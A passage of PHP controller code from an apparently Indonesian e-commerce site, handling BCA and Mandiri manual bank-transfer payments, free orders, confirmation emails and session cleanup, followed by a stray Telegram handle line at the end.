        $province = $this->db->select('province')->from('indonesia_provinces')->where('rajaongkir_province_id', $customer_data->shipping_id_province)->get()->row()->province;

		//BCA manual bank transfer
		if ($bank_name == 'bca') { 

			$payment_type = 'bank transfer BCA';

			//update payment status to become 1
			$data = array(
				'payment_status' => 1, //not paid
				'payment_type' => $payment_type
			);
			$this->db->where('id_orders', $order_id);
			$this->db->update('orders', $data);

			//Send email
			$this->process_send_email($payment_type);
			
			//LOAD PAYMENT RETURN PAGE
			$data['bank'] 			= $this->configuration_m->get_bank(); 	
			$data['email'] 			= $customer_data->email;
			$data['order_id'] 		= $order_id; 
			
			$data['order_info'] = $this->db->select('redeemed_voucher_type, minus_reward_amount, grand_total_amount, indent_remaining, indent_shipping_fee, id_orders, order_date,payment_status, payment_confirm, recipient_name, address, district, subdistrict, province, postcode, shipping_fee, free_shipping_fee, minus_reward, redeemed_voucher_code, redeemed_voucher_amount, redeemed_voucher_value')->from('orders')->where('id_orders',$order_id)->get()->row();

			$this->destroy_session_data();  

			if($this->session->userdata('site_lang') == 'english') {
				$this->lang->load('order_history', 'english');
			} else {
				$this->lang->load('order_history', 'indonesian');
			}

			//create new session to display on thank you page
			$bca_data = array(
				'grand_total' => $data['order_info']->grand_total_amount - $data['order_info']->indent_remaining - $data['order_info']->indent_shipping_fee,
				'order_info' => $data['order_info'],
				'bank'	=> $data['bank'],
				'email' =>  $data['email'],
				'order_id' =>  $data['order_id'] 	
			);
			$this->session->set_userdata('bca_data', $bca_data);

			redirect('payment/process_payment');
		} 

		//MANDIRI manual bank transfer
		if ($bank_name == 'mandiri') { 

			$payment_type = 'bank transfer MANDIRI';

			//update payment status to become 1 // not paid
			$data = array(
				'payment_status' => 1,
				'payment_type' => $payment_type
			);
			$this->db->where('id_orders', $order_id);
			$this->db->update('orders', $data);

			//Send email
			$this->process_send_email($payment_type);
			
			//LOAD PAYMENT RETURN PAGE
			$data['bank'] = $this->configuration_m->get_bank1(); 	
			$data['email'] = $customer_data->email;
			$data['order_id'] = $order_id; 
			
			$data['order_info'] = $this->db->select('redeemed_voucher_type, minus_reward_amount, grand_total_amount, indent_remaining, indent_shipping_fee, id_orders, order_date,payment_status, payment_confirm, recipient_name, address, district, subdistrict, province, postcode, shipping_fee, free_shipping_fee, minus_reward, redeemed_voucher_code, redeemed_voucher_amount, redeemed_voucher_value')->from('orders')->where('id_orders',$order_id)->get()->row();

			$this->destroy_session_data();

			if($this->session->userdata('site_lang') == 'english') {
				$this->lang->load('order_history', 'english');
			} else {
				$this->lang->load('order_history', 'indonesian');
			}

			//create new session to display on thank you page
			$mandiri_data = array(
				'grand_total' => $data['order_info']->grand_total_amount - $data['order_info']->indent_remaining - $data['order_info']->indent_shipping_fee,
				'order_info' => $data['order_info'],
				'bank'	=> $data['bank'],
				'email' =>  $data['email'],
				'order_id' =>  $data['order_id'] 	
			);
			$this->session->set_userdata('mandiri_data', $mandiri_data);

			redirect('payment/process_payment');
		} 
	}

	public function process_payment() {

		if(!$this->session->userdata('bca_data') && !$this->session->userdata('mandiri_data')) {
			redirect(base_url());
		}

		if($this->session->userdata('site_lang') == 'english') {
			$this->lang->load('order_history', 'english');
		} else {
			$this->lang->load('order_history', 'indonesian');
		}

		$this->data_header['datalayer'] = array(
			'ecomm_pagetype' => 'purchase'
		);

		if($this->session->userdata('bca_data')) {

			//get SEO
			$this->db->select('website_name')->from('configuration')->where('id_configuration', 1);
			$website_name = $this->db->get()->row();
			$this->data_header['browser_title'] =  ucwords($website_name->website_name) . ' - BCA Manual Bank Transfer'; 
			$this->data_header['meta_description'] = ucwords($website_name->website_name) . ' - BCA Manual Bank Transfer';

			$data = $this->session->userdata('bca_data');
		}

		if($this->session->userdata('mandiri_data')) {

			//get SEO
			$this->db->select('website_name')->from('configuration')->where('id_configuration', 1);
			$website_name = $this->db->get()->row();
			$this->data_header['browser_title'] =  ucwords($website_name->website_name) . ' - MANDIRI Manual Bank Transfer'; 
			$this->data_header['meta_description'] = ucwords($website_name->website_name) . ' - MANDIRI Manual Bank Transfer';

			$data = $this->session->userdata('mandiri_data');
		}

		if($this->session->userdata('site_lang') == 'english') {
			$this->lang->load('payment', 'english');
		} else {
			$this->lang->load('payment', 'indonesian'); 
		}

		$this->load->view("themes/$this->theme_no/header", $this->data_header);
		$this->load->view('banktransfer', $data);  
		$this->load->view("themes/$this->theme_no/footer", $this->data_footer); 

		//destroy bank data
		$this->session->unset_userdata('bca_data');
		$this->session->unset_userdata('mandiri_data');
	}

	public function free_order() {

		$order_id = $this->session->userdata('free_order_id');
		$this->session->unset_userdata('free_order_id');
		
		if($order_id == null){redirect('welcome');}

		//get customer district / city name
		$customer_data = $this->db->select('name, email, phone, shipping_address, shipping_id_district, shipping_id_subdistrict, shipping_id_province')->from('customers')->where('id_customers', (int) $this->session->userdata('customer')['customer_id'])->get()->row();

		//LOAD PAYMENT RETURN PAGE
		$data['email'] 		= $customer_data->email;
		$data['order_id'] 	= $order_id; 
		
		$data['order_info'] = $this->db->select('id_orders,order_date,payment_status,payment_confirm,recipient_name,address,district,subdistrict,province,postcode')->from('orders')->where('id_orders',$order_id)->get()->row();
		$data['grand_total']	= '0'; 
		
		$this->destroy_session_data();

		if($this->session->userdata('site_lang') == 'english') {
			$this->lang->load('order_history', 'english');
		} else {
			$this->lang->load('order_history', 'indonesian');
		}

		//get SEO
		$website_name = $this->db->select('website_name')->from('configuration')->where('id_configuration', 1)->get()->row();
		$this->data_header['browser_title'] =  ucwords($website_name->website_name) . ' - BCA Manual Bank Transfer'; 
		$this->data_header['meta_description'] = ucwords($website_name->website_name) . ' - BCA Manual Bank Transfer';

		$this->load->view("themes/$this->theme_no/header", $this->data_header);
		$this->load->view('free_order', $data);  
		$this->load->view("themes/$this->theme_no/footer", $this->data_footer); 
	}

	private function process_send_email($payment_type) {

		//----SEND EMAIL TO CUSTOMER 
		//get customer name
		if($this->session->userdata('customer')['customer_id'] != null){
			$customer_id = (int) $this->session->userdata('customer')['customer_id'];
		}
		else{
			$customer_id = $this->db->select('customer_id')->from('orders')->where('id_orders',$this->order_id)->get()->row()->customer_id;
		}
		$this->db->select('name,phone,type,email')->from('customers')->where('id_customers', $customer_id);
		$email_data['customer'] = $this->db->get()->row();
		
		$email_data['email'] = $email_data['customer']->email;
		// $website_email = $this->db->select('from_email')->from('configuration')->where('id_configuration', 1)->get()->row()->from_email; 
		// $email_data['email'] = array(
		// 	$email_data['customer']->email,
		// 	$website_email
		// );

		$email_data['emails'] = $this->configuration_m->get_emails();  

		if($payment_type == 'bank transfer BCA'){
			$email_data['bank'] = $this->db->select('bank')->from('configuration')->where('id_configuration', 1)->get()->row()->bank;
		
		} elseif($payment_type == 'bank transfer MANDIRI'){
			$email_data['bank'] = $this->db->select('bank1')->from('configuration')->where('id_configuration', 1)->get()->row()->bank1;
		}

		$email_data['subject'] = 'Order Confirmation'; 

		//get order detail and customer detail
		$email_data['order'] = $this->order_m->get_order($this->order_id);
		$email_data['order_details'] = $this->order_detail_m->get_orders_detail($this->order_id); 

		//get vouchers detail
		if ($this->session->userdata('chosen_voucher_code')) {
		  	$email_data['chosen_voucher_code'] = $this->session->userdata('chosen_voucher_code');
		  	$email_data['chosen_voucher_type'] = $this->session->userdata('chosen_voucher_type');
			$email_data['chosen_voucher_discount'] = $this->session->userdata('chosen_voucher_discount');  
			$email_data['redeemed_voucher_amount'] = $this->session->userdata('redeemed_voucher_amount');  
		 }   

		 //get shipping fee total
		 $email_data['carrier_name'] = $this->session->userdata('carrier_name'); 
		 $email_data['total_shipping_fee'] = $this->session->userdata('total_shipping_fee'); 

		 //add tax to email, if exist..
		 if($this->session->userdata('tax')) {
			$email_data['tax'] = $this->session->userdata('tax');
		 }

		 //add point reward to email, if exist..
		 if($this->session->userdata('chosen_point')) {
			$email_data['chosen_point'] = $this->session->userdata('chosen_point');
			$email_data['chosen_point_discount'] = $this->session->userdata('chosen_point_discount');
		 }

		switch($payment_type) {
			case 'bank transfer BCA':
				if($this->session->userdata('site_lang') == 'english') {
					$view_file = 'email/english/bank_transfer_english';
				} else {
					$view_file = 'email/indonesian/bank_transfer_indo';
				}
			break;	
			case 'bank transfer MANDIRI':
				if($this->session->userdata('site_lang') == 'english') {
					$view_file = 'email/english/bank_transfer_english';
				} else {
					$view_file = 'email/indonesian/bank_transfer_indo';
				}
			break;	
			case 'cod':
				if($this->session->userdata('site_lang') == 'english') {
					$view_file = 'email/english/cod';  
				} else {
					$view_file = 'email/indonesian/cod';
				}
			break;	
			case 'midtrans':
				if($this->session->userdata('site_lang') == 'english') {
					$view_file = 'email/english/midtrans';
				} else {
					$view_file = 'email/indonesian/midtrans';
				}
			break;	
		}

		$this->send_email($view_file, $email_data); //function in My_Controller
	}

	private function destroy_session_data() {

		if($this->session->userdata('customer')['customer_type'] == 'guest') {
			$this->session->unset_userdata('customer');	
		}

		//DESTROY CART AND UNSET SOME SESSION, BUT NOT CUSTOMER SESSION
		$this->cart->destroy();	
		$this->session->unset_userdata('grand_total');	
		$this->session->unset_userdata('recipient_name');
		$this->session->unset_userdata('address');		
		$this->session->unset_userdata('id_district');	 
		$this->session->unset_userdata('id_subdistrict');		
		$this->session->unset_userdata('id_province');
		$this->session->unset_userdata('district');	 
		$this->session->unset_userdata('subdistrict');		
		$this->session->unset_userdata('province');
		$this->session->unset_userdata('country');
		$this->session->unset_userdata('postcode');
		$this->session->unset_userdata('phone');
		$this->session->unset_userdata('order_id');	
		$this->session->unset_userdata('is_from_cart');	
		$this->session->unset_userdata('chosen_voucher_type');
		$this->session->unset_userdata('chosen_voucher_discount');
		$this->session->unset_userdata('chosen_voucher_code');
		$this->session->unset_userdata('total_categoryproduct_promo');
		$this->session->unset_userdata('redeemed_voucher_amount');
		$this->session->unset_userdata('total_shipping_fee'); 
		$this->session->unset_userdata('carrier'); 
		$this->session->unset_userdata('carrier_name'); 
		$this->session->unset_userdata('summary_message');
		$this->session->unset_userdata('add_point_reward'); 
		$this->session->unset_userdata('minus_point_reward'); 
		$this->session->unset_userdata('chosen_point');
		$this->session->unset_userdata('chosen_point_discount');
		$this->session->unset_userdata('chosen_payment_type');
		$this->session->unset_userdata('tax');
		$this->session->unset_userdata('productpage_to_cart');
		$this->session->unset_userdata('choose_dropship_status');
		$this->session->unset_userdata('destination_latitude');  
		$this->session->unset_userdata('destination_longitude');
		$this->session->unset_userdata('current_viewed_category_id');
		$this->session->unset_userdata('shipping_cart');
		$this->session->unset_userdata('prescription_uniqid');
		$this->session->unset_userdata('guest_details');	
		$this->session->unset_userdata('guest_shipping_id');	
	}

}

https://t.me/RX1948 - 2025